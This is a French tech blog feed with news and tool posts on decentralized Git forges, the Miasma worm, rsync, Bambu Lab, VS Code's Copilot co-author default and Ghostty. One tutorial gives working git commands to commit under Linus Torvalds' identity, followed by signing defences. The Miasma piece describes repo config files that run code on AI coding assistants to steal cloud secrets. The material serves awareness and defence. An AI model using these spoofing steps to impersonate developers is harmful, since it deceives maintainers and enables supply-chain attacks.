Vous pouvez par exemple utiliser ces listes pour repérer un même pseudo sur plusieurs forums, constituer des wordlists ou simplement suivre quels sites ressortent après un takedown. Certains disparaissent, d'autres reviennent 48h plus tard sous un nouveau TLD (ambiance hydre de lerne, quoi).

Chaque fichier contient un pseudo par ligne et l'import dans un SIEM ou un script Python vous prendra 2 minutes. N'oubliez pas non plus qu'une bonne partie de ces comptes sont des kiddies ou des curieux, donc croisez toujours avec d'autres sources avant de pointer du doigt qui que ce soit...

Bref, si la chasse aux cybercriminels vous branche, vous pouvez récupérer les listes sur GitHub et voir ce que ça donne.

Amusez-vous bien !

Grasp - Et si votre code ne dépendait plus d'une boîte ?

Grasp , c'est une alternative décentralisée à GitHub, signée DanConwayDev, le dev derrière ngit. Ça carbure à Nostr , le protocole décentralisé de fiatjaf, et l'idée avec ce truc, c'est que votre identité de dev, ce n'est plus un compte avec un email et un mot de passe, mais juste une paire de clés cryptographiques qui ne dépend de personne. Vous publiez votre code depuis le terminal, sans avoir à vous inscrire nulle part et pi c'est tout !

Vous me connaissez, j'adore fureter à la recherche de petits outils cools à partager avec vous, et niveau décentralisation, celui-là vaut le détour. Pour tester, ça se passe avec l'outil nak . Vous créez votre dépôt, vous le synchronisez, vous poussez comme ceci :

nak git init --owner <votre-clé-npub> --identifier mon-projet --name "Mon Super Projet" --description "Mon premier repo Grasp"
nak git sync
nak git push

Pour cloner le dépôt de quelqu'un d'autre, c'est nak git clone <npub-du-maintainer>/mon-projet, et pour lui envoyer un patch, nak git patch send HEAD^. Pas de fork ni de pull request à remplir dans une interface pour contribuer au code des autres... C'est beau non ?

Derrière, tout repose sur Nostr et sa spec NIP-34 qui transforme un dépôt, une issue ou un patch en messages signés que n'importe quel serveur peut relayer. Du coup chaque état de votre code est signé par votre clé, et comme ça, vos dépôts migrent d'un serveur à l'autre sans rien perdre. Impecc si vous ne faites pas confiance aux hébergeurs.

La vraie différence avec un Forgejo ou un Gitea que vous auto-hébergez, c'est donc que vous ne créez pas un compte sur chaque instance. Votre identité Nostr vous suit partout, une seule clé pour tous les serveurs ! À ne pas confondre par contre avec Radicle , qui fait du P2P local-first avec son propre protocole gossip et Git en natif (et pas sur IPFS, contrairement à ce qu'on lit souvent, le vrai GitHub-sur-IPFS ce serait plutôt GitLike ).

Grasp, lui, parie sur l'interopérabilité : plusieurs clients, plusieurs serveurs, un seul standard, et tout communique.

Et l'écosystème est déjà bien debout avec ngit-grasp comme serveur de référence, pyramid pour gérer une communauté, viewsource.win pour visualiser le code dans le navigateur, et gitworkshop.dev pour une interface complète façon GitHub.

Maintenant ce n'est pas non plus la solution miracle, car c'est encore un peu trop jeune à mon goût... Mais c'est à tester car le jour où l'un de ces frontends web deviendra vraiment carré et grand public, il pourrait bien venir taquiner GitHub, et ça, c'est plutôt une bonne nouvelle...

GitHub désactive 73 dépôts Microsoft en 105 secondes pour stopper le ver Miasma

GitHub a désactivé 73 dépôts appartenant à Microsoft en l'espace de 105 secondes, le temps de couper la propagation d'un ver baptisé Miasma.

Un ver, vous le savez, c'est ce genre de logiciel malveillant qui se recopie tout seul d'un projet à l'autre, sans la moindre intervention humaine. Celui-là s'attaque directement aux développeurs, et plus précisément à leurs outils.

Tout est parti du dépôt Azure/durabletask. Un compte de contributeur compromis y a poussé un commit piégé, qui déposait au passage quelques fichiers de configuration. Anodin, en apparence.

Sauf que ces fichiers déclenchaient une exécution de code à distance, autrement dit l'attaquant faisait tourner son propre code sur votre machine, dès l'instant où vous ouvriez le dépôt dans un éditeur. Et pas n'importe lesquels : les assistants de codage dopés à l'IA étaient explicitement visés, Claude Code, Gemini CLI et Cursor en tête. Objectif, siphonner les secrets d'accès au cloud et les configurations des outils de développement, surtout sous Linux.

La purge a frappé quatre organisations GitHub de Microsoft d'un coup : toute l'org Azure Functions, l'ensemble de la famille Durable Task, et une série d'applications-exemples destinées à l'IA.

Problème, parmi les dépôts désactivés se trouvait Azure/functions-action, une brique que des milliers de projets appellent dans leurs chaînes d'automatisation, celles qui compilent et déploient le code sans intervention manuelle. Du coup, dès que functions-action@v1 a cessé de répondre, des pipelines entiers se sont effondrés en cascade, bien au-delà des serveurs de Microsoft.

Ce n'est pas la première sortie de Miasma. Le 19 mai, le ver visait déjà le paquet durabletask sur PyPI, le dépôt public où les développeurs Python piochent leurs briques de code : trois versions vérolées y ont été publiées en 35 minutes. Le 3 juin, c'est plus de 50 paquets npm, l'équivalent côté JavaScript, qui passaient à la moulinette.

Le retour sur durabletask interroge. Pour Ashish Kurmi, directeur technique de la société de sécurité StepSecurity, les jetons d'accès du compte développeur déjà compromis lors de l'attaque sur PyPI n'avaient visiblement pas tous été révoqués. La même porte est restée grande ouverte.

Côté filiation, l'éditeur de sécurité Snyk décrit Miasma comme un descendant de Mini Shai Hulud, un ver revendiqué par le groupe cybercriminel TeamPCP, qui a ensuite gentiment publié son code en open source. Microsoft, de son côté, n'a pas répondu aux sollicitations de la presse.

Bref, un seul commit, et c'est tout un pan de l'infrastructure des développeurs qui tremble.

Source : The Register

Rsync, le logiciel de sauvegarde culte sous Linux, mis à jour avec de l'IA et ça déclenche une vraie colère

rsync vient de sortir sa version 3.4.3, un correctif censé boucher plusieurs trous de sécurité. Sauf que pour une partie des utilisateurs, leurs sauvegardes incrémentales se sont mises à mal fonctionner juste après la mise à jour.

En fouillant le code, certains ont remarqué un détail qui ne leur a pas plu. Depuis la version 3.4.1, des dizaines de modifications (des "commits", les unités de changement de code) sont signées "tridge and claude". Comprendre Andrew Tridgell, le créateur historique de rsync, et Claude, l'assistant IA d'Anthropic, le concurrent direct d'OpenAI.

Pour situer, rsync est un outil de synchronisation et de sauvegarde de fichiers qui tourne sur les serveurs Unix et Linux depuis les années 90. Une brique discrète mais utilisée par d'innombrables entreprises, hébergeurs et services informatiques. Quand il déraille, ce sont des sauvegardes entières qui sautent.

D'où la réaction épidermique. Sur GitHub, la plateforme où vit le code source, quelqu'un a ouvert un message au titre sans équivoque, "Please Do Not Vibe Fuck Up This Software". En clair, prière de ne pas bousiller ce logiciel à coups de "vibe coding", cette mode qui consiste à confier des bouts de code à une IA et à faire confiance au résultat sans trop vérifier.

Tridgell a reconnu les régressions. Elles touchent surtout des configurations bien précises, le mode serveur avec l'option chroot désactivée, qu'il décrit comme des "cas d'usage valides mais inhabituels" que la suite de tests du projet ne couvrait tout simplement pas.

Sauf que voilà, il refuse l'étiquette du développeur qui aurait bâclé. "Je n'ai pas juste vibe-codé la conversion de la suite de tests en Python. Je suis un ingénieur logiciel avec 40 ans d'expérience", a-t-il écrit dans un billet intitulé "rsync and outrage".

Concrètement, l'IA a surtout servi à réécrire la vieille batterie de tests, jusque-là en scripts shell, vers le langage Python, pour pouvoir mieux vérifier la sécurité du code. Un travail de fond fastidieux.

Tridgell affirme avoir conçu lui-même l'architecture du nouveau système, utilisé Claude mais aussi Codex d'OpenAI et Gemini de Google pour abattre le gros du débroussaillage répétitif, puis relu et validé chaque ligne produite à la main.

Et il n'a aucune intention d'arrêter. Une version 3.4.4 pourrait corriger les régressions, à moins qu'il ne passe directement à la 3.5, plus ambitieuse côté sécurité. Avec les mêmes outils IA.

Au passage, il rappelle un truc que les mainteneurs de logiciels libres vivent au quotidien, ils croulent sous les signalements de failles de sécurité, dont une bonne partie sont eux-mêmes pondus par des IA. L'IA crée la charge et propose dans la foulée de la résorber.

Source : The Register

Bambu Lab épinglé pour violation de licence open source depuis quatre ans

C'est la Software Freedom Conservancy (SFC), l'ONG américaine qui défend les licences libres, qui a sorti l'affaire. Bambu Lab, l'un des plus gros fabricants d'imprimantes 3D grand public du moment, viole l'AGPLv3 depuis environ quatre ans selon l'organisation. Pas qu'un peu donc.

Pour comprendre l'histoire, il faut savoir que Bambu Studio, le slicer maison de la marque (c'est le logiciel qui transforme un modèle 3D en instructions de découpage pour l'imprimante), est en réalité un dérivé de PrusaSlicer, lui-même basé sur Slic3r.

Les deux sont sous licence AGPLv3, ce qui oblige toute boîte qui distribue un logiciel dérivé à publier son code source dans la même licence. Du coup, Bambu Studio aurait dû suivre les mêmes règles depuis le début.

Sauf que voilà, le SFC pointe deux violations très claires. D'abord, une bibliothèque maison appelée libbambu_networking, qui gère toute la communication entre le slicer et les serveurs cloud de Bambu, n'a jamais vu son code publié. La marque reconnaît même son existence dans son propre README sur GitHub. Pire encore, quand le développeur Paweł Jarczak a sorti une version modifiée d'OrcaSlicer (un fork concurrent, c'est-à-dire une copie communautaire améliorée) qui restaurait certaines fonctions cloud bloquées par Bambu, l'entreprise lui a envoyé une mise en demeure pour faire retirer son projet.

C'est la deuxième violation selon le SFC, parce que l'AGPLv3 interdit explicitement d'ajouter des restrictions supplémentaires à ce que la licence autorise. En clair, Bambu n'a pas le droit d'invoquer ses conditions d'utilisation pour empêcher quelqu'un d'exercer les droits que la licence donne. 

Côté riposte, le SFC a lancé un projet baptisé baltobu. Trois objectifs : refaire la fameuse bibliothèque à partir de zéro par reverse-engineering (démonter le code propriétaire pour le réécrire proprement), maintenir le fork OrcaSlicer de Jarczak, et créer un remplaçant complet de Bambu Studio. Une levée de fonds visant 250 007 dollars, ouverte jusqu'au 17 juillet, a déjà atteint son premier objectif pour financer des employés à ce travail sur le long terme. Si la cagnotte va au bout, de nouveaux employés pourront rejoindre le projet.

Bambu Lab a réagi du bout des lèvres. L'entreprise a publié un message reconnaissant que sa référence à des conditions d'utilisation et à une potentielle mise en demeure ait pu être perçue comme une menace légale, ce qu'elle regrette. Pas de modification réelle de la pratique pour autant. La bibliothèque reste fermée, et les pratiques cloud restent les mêmes.

Bref, une marque grand public qui surfe sur les briques open source sans en respecter les règles, ça finit toujours par se voir.

Source : Itsfoss

HydroTracker - L'app Android qui vous hydrate

Par : Korben ✨

HydroTracker, c'est une app Android open source pour suivre votre consommation d'eau au quotidien. C'est sans pub, ça fonctionne hors-ligne et ça a été mis au point par Ali Cem Çakmak, physicien et développeur passionné !

L'écran d'accueil d'HydroTracker, sobre et lisible

Côté fonctionnalités, vous avez donc le suivi quotidien classique avec objectif personnalisé, des graphiques hebdo, des cartes thermiques mensuelles, le suivi des séries de jours réussis et 3 widgets à mettre sur écran d'accueil.

Par contre, ça marche pas pour suivre votre conso de bière, désolé mes amis Chouffinistes ^^

Et puis surtout, y'a l'intégration Health Connect ce qui permet à HydroTracker de lire et écrire dans la base santé Android partagée par Samsung Health, Google Fit, Fitbit, Garmin ou Strava. Comme ça, toutes vos données sont centralisées !

Alors j'sais pas si vous avez déjà tracké votre consommation d'eau mais la plupart des apps d'hydratation se contentent de compter les verres d'eau. Cem, lui, s'appuie sur le Beverage Hydration Index (y'a une étude à ce sujet publiée dans l'American Journal of Clinical Nutrition ) et applique des coefficients différents selon les boissons, avec les seuils EFSA pour l'Europe et IOM pour les US. Un verre de lait équivaut par exemple à 1,5 fois sa quantité d'eau, et un soluté de réhydratation orale aussi. C'est logique vu la composition réelle, et pourtant aucune app grand public ne pousse le bouchon aussi loin niveau finesse !

Les analytics d'HydroTracker, façon dashboard scientifique

Et le gros morceau, vous l'aviez deviné, c'est surtout la confidentialité. Prenez par exemple Water Reminder, une app concurrente bien installée sur Android. Hé bien avec elle, vos heures de prise d'eau, votre régularité, votre comportement, tout part chez Google.

Alors que HydroTracker, lui, garde tout en local et la synchro Health Connect reste bien sûr à 100% optionnelle. Bref, si vous tenez à votre indépendance numérique vis-à-vis des géants américains , et que vous aimez rester hydraté, c'est l'app idéale !

L'app est sous licence GPL v3, dispo sur le Play Store (et bientôt sur F-Droid), ou en APK direct depuis les releases GitHub . Par contre, pas de version iOS pour l'instant. Ah et j'oubliais, les notifications de l'app s'adaptent à votre cycle de sommeil, donc elle ne vous harcelera pas la nuit. C'est con dit comme ça, mais peu d'apps le font.

Voilà, si vous voulez creuser le code, c'est sur GitHub et Cem a même sa page perso sur cmckmk.com .

Merci à Alex pour le tip !

Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code

Par : Korben ✨

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.

La boucle est bouclée, mes amis !

Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.

Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.

Ça bosse fort !

Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.

L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!

Les options de Notchi

Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.

Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.

Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.

Et un grand merci à Camille Roux pour le partage !

GitLike - Le GitHub décentralisé sur IPFS

Par : Korben ✨

Branislav Đalić, un dev serbe basé à Belgrade, vient de balancer un projet plutôt original baptisé GitLike . Il s'agit d'un GitHub décentralisé qui stocke vos repos sur IPFS et remplace le mot de passe par votre clé Ethereum (votre wallet quoi...).

Vous connectez votre wallet via SIWE (le standard EIP-4361, signature dans MetaMask ou WalletConnect), vous créez un repo, et hop, chaque commit, chaque fichier, chaque arbre devient un objet IPFS adressé par son CID. Tout pareil que Git côté usage, sauf que derrière y'a pas de serveur GitHub mais un simple Worker Cloudflare qui orchestre Pinata ou Filebase pour pinner vos données.

Côté install, la doc propose tout simplement de faire un npm install -g gitlike avec ensuite l'utiliser avec les commandes Git habituelles (init, clone, push, pull, branch), sauf que le package n'est pas encore publié sur npm public pour l'instant. Du coup, faudra patienter ou aller chercher le code directement dans le repo GitHub si vous voulez bricoler dès aujourd'hui.

La doc officielle mais l'install npm marche pas.

L'architecture tient en 3 étages bien séparés. Votre navigateur s'occupe de l'interface et de la signature avec le wallet, un petit serveur Cloudflare joue les videurs en backend (qui a le droit d'écrire, dans quel ordre, à quelle vitesse), et IPFS stocke tout le code en mode décentralisé via Pinata ou Filebase.

Et si vos repos doivent rester privés, vous pouvez activer un chiffrement qui se fait directement dans votre navigateur, comme ça personne d'autre ne lit vos fichiers en clair. En gros, votre onglet de navigateur fait office de vitrine, le Worker joue le mec de la sécu, et IPFS sert de coffre-fort distribué.

Le truc cool, c'est que GitLike peut importer votre code directement depuis GitHub ou GitLab, donc migrer un projet existant ne prend que quelques clics ! Et vous retrouvez tout le confort moderne, à savoir les pull requests avec gestion des conflits, des règles de protection sur les branches sensibles, et même un système pour déléguer l'écriture à un agent IA avec un périmètre limité dans le temps et l'espace (genre, commit uniquement sur telle branche, et seulement pendant 24h).

Sympa, donc, pour vibe coder avec un agent 100% autonome sans pour autant lui filer toutes vos clés et qu'il ne détruise tout dans une apocalypse nucléaire (Quoi, j'en fais trop ?)

Après même si l'idée semble sympa, je trouve que ça déplace le risque plutôt que de le faire disparaître. Parce que si vous paumez votre wallet, vous perdez l'accès en écriture (et possiblement en lecture si c'est chiffré) à tous vos repos, et y'a plus qu'à recommencer. Donc sauvegarder votre seed phrase (les 12 ou 24 mots de récupération du wallet, vous savez) est donc critique !

Quand on voit le rythme auquel GitHub colle ses nouveautés derrière Copilot Pro, c'est peut-être une solution intéressante que de décentraliser tout ça. J'ai fait un article aussi sur Patreon pour tous ceux qui voudraient se barrer de Github.

Côté concurrence, vous trouverez également Radicle qui fonctionne en peer-to-peer pur (mais demande un daemon local) ou l'ancien Mango (Ethereum + IPFS, mais plus trop maintenu). GitLike, lui, mise tout sur le navigateur et votre wallet, donc c'est plus simple !

Après c'est jeune et faut voir ça plus comme un proof of concept solide qu'un GitHub-killer. Mais ça tient bien la route et je trouve l'idée d'un Git contrôlé par un wallet ethereum plutôt classe. C'est peut-être ça le vrai web3 ;)))

Allez donc jeter un œil à gitlike.dev !

GitHub commit spoofing - Quand n'importe qui peut être Linus

Par : Korben ✨

Vous avez confiance dans le nom qui est affiché à côté d'un commit GitHub ?

Bah vous pouvez arrêter tout de suite car le chercheur Shani Lavi a documenté il y a quelques années ce que les devs Git sérieux savent depuis longtemps : N'importe qui peut publier un commit avec n'importe quelle identité, et bien sûr, on peut systématiquement compter sur GitHub pour lier ce commit au profil correspondant sans broncher.

Allez, petite démonstration récente... Sur le repo no-as-a-service , il y a par exemple un commit signé "torvalds" qui ajoute un témoignage humoristique de Linus Torvalds dans le README. L'avatar de Linus s'affiche, et GitHub considère ça comme un commit parfaitement valide. Sauf que Linus n'a évidemment jamais touché ce projet humoristique qui est une petite API qui sort des excuses créatives pour dire "non".

Et ce qui est fou, c'est que vous pouvez faire pareil en dix secondes, et c'est ce qu'on va faire ensemble. Mais avant...

Pourquoi Git laisse passer ça

Git, à la base, c'est un système distribué. Quand vous faites un commit, votre client local prend alors deux infos dans votre config : user.name et user.email. Ces deux champs sont libres, et jamais validés côté client. Vous pouvez donc écrire ce que vous voulez dedans, et Git s'en fiche.

Côté GitHub, l'attribution se fait par l'email. Le service regarde alors l'email présent dans les métadonnées du commit, le compare aux emails enregistrés sur les comptes, et affiche le profil + l'avatar Gravatar correspondant. En fait, il n'y a aucune vérification que la personne qui a poussé le commit possède réellement cette adresse email.

Du coup, n'importe qui qui connaît votre email public (et il est public si vous avez déjà commit en clair sur un repo) peut publier des commits avec votre identité affichée.

Étape 1 : Reproduire le spoofing (à but pédagogique évidemment)

Avant de paniquer, faisons l'exercice nous-mêmes pour bien comprendre. Dans un repo de test que vous contrôlez :

# 1. Visualiser un commit cible pour récupérer name + email
git log --format='%an <%ae>' | head -3

# 2. Reconfigurer Git avec une fausse identité
git config --global --replace-all user.name "Linus Torvalds"
git config --global --replace-all user.email "torvalds@linux-foundation.org"

# 3. Vérifier la config
git config --global --list | grep user

# 4. Faire un commit normal
echo "Hello from Linus" >> README.md
git add README.md
git commit -m "Important kernel fix"

# 5. Pousser sur votre repo
git push origin main

Allez voir le commit sur GitHub. Vous verrez l'avatar de Linus, son nom cliquable qui mène vers son profil, et surtout aucun avertissement. Pas de mot de passe demandé ni de token compromis... non, non, non, c'est juste une config locale modifiée.

Et si quelqu'un fait un fork de votre repo, ou si un mainteneur peu attentif valide un PR sur cette base, l'illusion est complète.

Étape 2 : Repérer un commit douteux

Pour ça, le badge Verified reste l'indicateur le plus utile. À côté du SHA d'un commit, GitHub affiche surtout une étiquette verte "Verified" si le commit est cryptographiquement signé avec une clé GPG ou SSH enregistrée sur le compte de l'auteur. Sinon, y'a rien du tout (par défaut). Attention quand même, l'absence de badge ne veut pas dire qu'un commit est malveillant mais juste qu'on ne peut pas garantir qui l'a écrit.

Par exemple, si vous regardez le commit e6b4218 sur no-as-a-service, vous remarquerez l'absence totale de badge. C'est le signal mais il faut encore savoir le chercher car par défaut, GitHub n'affiche AUCUN avertissement pour les commits non signés. C'est surtout ça le problème...

Étape 3 : Signer vos commits avec SSH

Alors pour vous protéger de ça, ça commence chez vous. Plus simple que GPG, la signature SSH utilise une clé que vous avez probablement déjà. Générez une clé Ed25519 si ce n'est pas fait :

ssh-keygen -t ed25519 -C "votre@email.com"

Configurez Git pour signer automatiquement avec cette clé :

git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/id_ed25519.pub
git config --global commit.gpgsign true
git config --global tag.gpgsign true

Dernière étape, ajoutez votre clé publique sur GitHub dans Settings → SSH and GPG keys (1), mais cette fois en sélectionnant le type Signing Key (pas Authentication Key, c'est différent) (2). Vos prochains commits afficheront le badge "Verified" en vert.

Si vous préférez GPG, le principe est identique avec gpg.format gpg et une clé GPG. Pour le détail GPG complet, j'avais déjà couvert le sujet dans le tuto sur Thunderbird et GPG .

Étape 4 : Activer Vigilant Mode

Là, on passe à l'offensive. Vigilant Mode (3) force GitHub à afficher un statut sur tous vos commits. Les signés deviennent "Verified", les non signés deviennent "Unverified" en gros et bien visible. Plus de zone grise comme ça.

Direction même endroit dans Settings → SSH and GPG keys → Vigilant mode → Flag unsigned commits as unverified. Cochez la case. À partir de là, n'importe quel commit que GitHub vous attribue (via votre email vérifié) sans signature sera affiché comme "Unverified", ce qui rend le spoofing beaucoup plus difficile à dissimuler. Petite limite par contre, ça ne protège que votre propre identité et pas celle des contributeurs qui n'ont pas activé le mode.

La position de GitHub (et pourquoi je trouve ça discutable)

GitHub considère ce comportement comme un non-bug. Sur leur page bug bounty, l'usurpation par email Git est explicitement listée comme ineligible. Leur argument c'est que ça ne donne pas accès aux repos ni de privilèges supplémentaires, donc ce n'est pas une faille au sens strict.

Sauf que dans la vraie vie, l'identité affichée influence les décisions. Par exemple, un mainteneur qui voit un PR signé d'un contributeur connu va l'examiner avec moins de paranoïa, un journaliste qui couvre un scandale va citer "le commit de tel développeur" sans vérifier la signature, et combiné à d'autres vecteurs, ça peut devenir redoutable ! Je pense surtout aux attaques supply chain récentes type Shai-Hulud où une fois le code piégé, l'attribution Git aide à le faire passer pour légitime.

Bref, dire "ce n'est pas un bug" parce qu'il faut un autre vecteur derrière, c'est un peu facile, je trouve. Voilà, donc ne comptez pas sur Github pour vous défendre et signez vos commits, activez Vigilant Mode, et apprenez à vos collègues et amis dev à vérifier le badge "Verified" avant de merger quoi que ce soit en venant d'un inconnu... même si c'est ce bon cher Linus qui propose de réécrire le kernel en Rust avec systemd intégré ^^.

Source

VS Code signe vos commits avec Copilot, même sans Copilot

Par : Korben ✨

Si vous avez committé du code depuis VS Code depuis mi-avril, allez tout de suite vérifier vos messages de commit car vous avez peut-être un nouveau co-auteur que vous n'avez jamais embauché.

En effet, Microsoft a discrètement basculé le réglage par défaut de l'éditeur pour ajouter Co-authored-by: Copilot <copilot@github.com> à des commits que VS Code considérait à tort comme contenant des contributions IA, même quand vous n'avez pas utilisé Copilot, et même quand vous avez explicitement désactivé toutes les fonctions IA.

Quelle lose, hein ? La Product Manager Courtney Webster a poussé cette fameuse pull request #310226 des enfers le 15 avril dernier sans aucune description, et le dev dmitrivMS l'a mergée tranquillou le lendemain.

Et le résultat de tout ce bordel, vous pouvez le lire dans la PR #310226 qui a explosé sur GitHub : 372 pouces baissés contre 2 levés, 30 réactions "confused", et des dizaines de commentaires furieux.

L' issue de suivi #314311 , ouverte ensuite par dmitrivMS pour faire son point public, a elle aussi reçu un torrent de réactions virulentes. Tu m'étonnes, ils font vraiment n'importe quoi...

Maintenant si vous êtes dans ce cas, vous pouvez neutraliser ça immédiatement, ajoutez dans votre settings.json :

"git.addAICoAuthor": "off"

C'est le seul réglage qui marche vraiment, parce que dans la version buguée même chat.disableAIFeatures à true n'arrêtait pas le soucis. Et pour votre historique déjà bien pollué, un git rebase -i ou un git filter-branch permettra de virer les contributeurs parasites dans vos derniers commits. Mais après bonne chance si vos commits sont déjà sur des PR mergées chez d'autres. Là c'est mort...

Ce que les devs reprochent à Microsoft, c'est pas vraiment d'avoir créé l'option (elle existait depuis VS Code 1.110 en opt-in tranquille). Non, le vrai problème c'est surtout ce qu'il y a derrière cette vilaine Pull Request... 2 fichiers touchés, le change de "default", absolument AUCUNE description, une seule review d'approbation toute nulle, et hop, c'est mergé OKLM.

Pour un changement qui touche les messages de commit de plusieurs millions de devs, ça sent quand même la décision unilatérale prise à l'arrache entre 2 portes...

Et puis surtout il y a le bug #313064 qui a fait basculer l'histoire de la simple polémique à la grosse colère communautaire.

En effet, la nouvelle valeur par défaut "all" attribuait à Copilot des complétions qui ne venaient PAS de Copilot. Un dev explique par exemple avoir tapé son code à la main, vérifié son message de commit, supprimé toute suggestion Copilot, écrit le sien à la main... et a finalement retrouvé quand même Co-authored-by: Copilot dans le git log final.

Et comme le mode "je ne veux pas d'IA" n'était pas plus respecté, l'IA s'auto-créditait quand même sur tout et n'importe quoi.

Côté communauté, le ton est monté très vite. Sur le fil GitHub, y'en a un qui écrit que, je cite, "C'est pas une régression, c'est de la fraude. On ne peut pas s'attribuer un travail qu'on n'a pas fait." et un autre dev parle de "vandalisme" pur.

Windows Central a même sorti un titre choc : "This could cost people their jobs", parce que dans les boites en fintech ou sur du code soumis à audit, faire passer du code humain pour de l'IA-assisté peut coller un fail d'audit et faire péter des contrats. Ah bah ouais, j'avoue que je n'y avais pas pensé...

Heureusement, Microsoft a fini par bouger puisque dans VS Code 1.118 , le default est finalement repassé de "all" à "chatAndAgent", déjà moins agressif. Et dans la PR #313931 , dmitrivMS a remis le default à "off" pour la version 1.119, dont le déploiement public commence justement aujourd'hui.

Bien sûr, la Product Manager a fait son mea culpa public, en reconnaissant, je cite que "la manière dont c'était implémenté et déployé n'a pas atteint le niveau de correction attendu", ce qui, dans la langue corporate, veut dire "on est des branleurs, déso, bisous".

Maintenant ce qui revient souvent dans les commentaires, c'est que Claude Code et Codex CLI font la même chose par défaut quand ils committent, sauf que la différence, c'est que ces agents committent quand C'EST EUX qui ont écrit le code, donc le co-author est tout a fait légitime.

VS Code, lui, modifiait des commits écrits à la main par des humains donc c'est pas du tout le même problème. Et pour le coup, sur Codex CLI la mention reste aussi désactivable via une option alors que chez Claude Code même si c'est pareil, l'opt-out n'est pas toujours très respecté d'après les retours que j'ai pu lire.

En tout cas, ce loupé arrive dans un climat déjà tendu puisque Microsoft pousse Copilot dans Windows, dans Notepad, dans Office, et même jusque dans l'écosystème Apple via une extension Xcode , dans tous les coins, et beaucoup de devs commencent à voir chaque nouveauté MS à travers ce prisme. La théorie du "ils gonflent les KPI Copilot pour les boards et les analystes" de plus en plus crédible et comme personne n'aime se sentir transformé en stat marketing, tout le monde commence à se barrer des outils et services Microsoft.

Maintenant, si vous voulez vraiment vous protéger des prochains coups foireux de M$, je vous propose d'abord de basculer sur VSCodium ou Zed , deux éditeurs sans télémétrie ni AI imposée. Et ensuite, déménager vos repos chez Codeberg ou Forgejo en suivant la procédure de migration que je vous donne dans cet article Patreon, comme ça même si Microsoft fait n'importe quoi côté éditeur, votre code n'est plus chez eux côté forge.

À voir maintenant si Microsoft tient ses promesses sur le consentement explicite avant toute mention d'agent IA, ou si on rejouera ce film encore et encore tous les 6 mois sur une autre fonctionnalité.

Ghostty quitte GitHub - Hashimoto craque après 18 ans

Par : Korben ✨

"GitHub n'est plus un endroit pour faire du travail sérieux."

C'est signé Mitchell Hashimoto, le créateur de HashiCorp, de Vagrant ou plus récemment de Ghostty, et l'utilisateur numéro 1299 de la plateforme depuis février 2008.

Et quand un mec qui a passé 18 ans à pousser du code presque tous les jours sur Github annonce qu'il se casse, bah ça vaut clairement le coup de comprendre pourquoi.

L'annonce est tombée hier : Ghostty , le terminal en Zig pour macOS et Linux va quitter la plateforme. Pas tout de suite, pas brutalement, mais la décision est prise. Hashimoto précise qu'il discute "avec plusieurs fournisseurs (commerciaux comme FOSS)" pour choisir la nouvelle maison pour son code, et qu'un miroir en lecture seule restera accessible sur l'URL GitHub actuelle pour ne pas casser les liens des PRs et des issues. La migration sera, je cite, "aussi incrémentale que possible" pour les contributeurs.

Mais alors, qu'est-ce qui a déclenché cette situation ? Hé bien la semaine du 20 avril a été vraiment catastrophique ! Tout d'abord, le 22 avril, l'agent Copilot et le traitement des commentaires de PR sont tombés une demi-journée à cause d'une erreur de sérialisation. Le 23 avril, c'était encore pire puisqu'un bug dans la merge queue a produit des merges incorrects pour les PRs fusionnées en mode squash quand le groupe contenait plus d'une PR.

Cette situation a même été carrément reconnue officiellement par GitHub, puisque 2092 pull requests ont été affectées ... du coup des changements précédemment mergés se sont retrouvés involontairement annulés par les merges suivants. Ensuite, le 27 avril, rebelote sur les Github Actions.

Bref, comme le dit Hashimoto dans The Register : "je ne peux plus coder avec GitHub".

Hashimoto fait état d'un attachement quasi sentimental avec la plateforme. Il a lancé Vagrant en partie pour impressionner GitHub, en espérant secrètement décrocher une embauche un jour. Embauche qui n'est jamais venue, mais l'attachement est resté. "J'aime GitHub plus qu'on devrait aimer une chose", écrit-il, "et je suis en colère contre lui".

C'est pas de la posture donc puisqu'il a vécu depuis 2008 toute l'histoire de la plateforme en passant par le rachat par Microsoft en 2018 jusqu'à l'âge Copilot. Et c'est ce qui rend sa décision vachement intéressante car c'est pas un libriste hardcore qui crachait déjà sur GitHub avant le rachat. Non, c'est un vrai fidèle de la première heure !

Mitchell Hashimoto ( Source )

Alors ses raisons sont-elles valables ?

Pour vous la faire courte, c'est OUI ! Mais ma réponse longue mérite un peu de nuance quand même, parce que c'est jamais aussi simple.

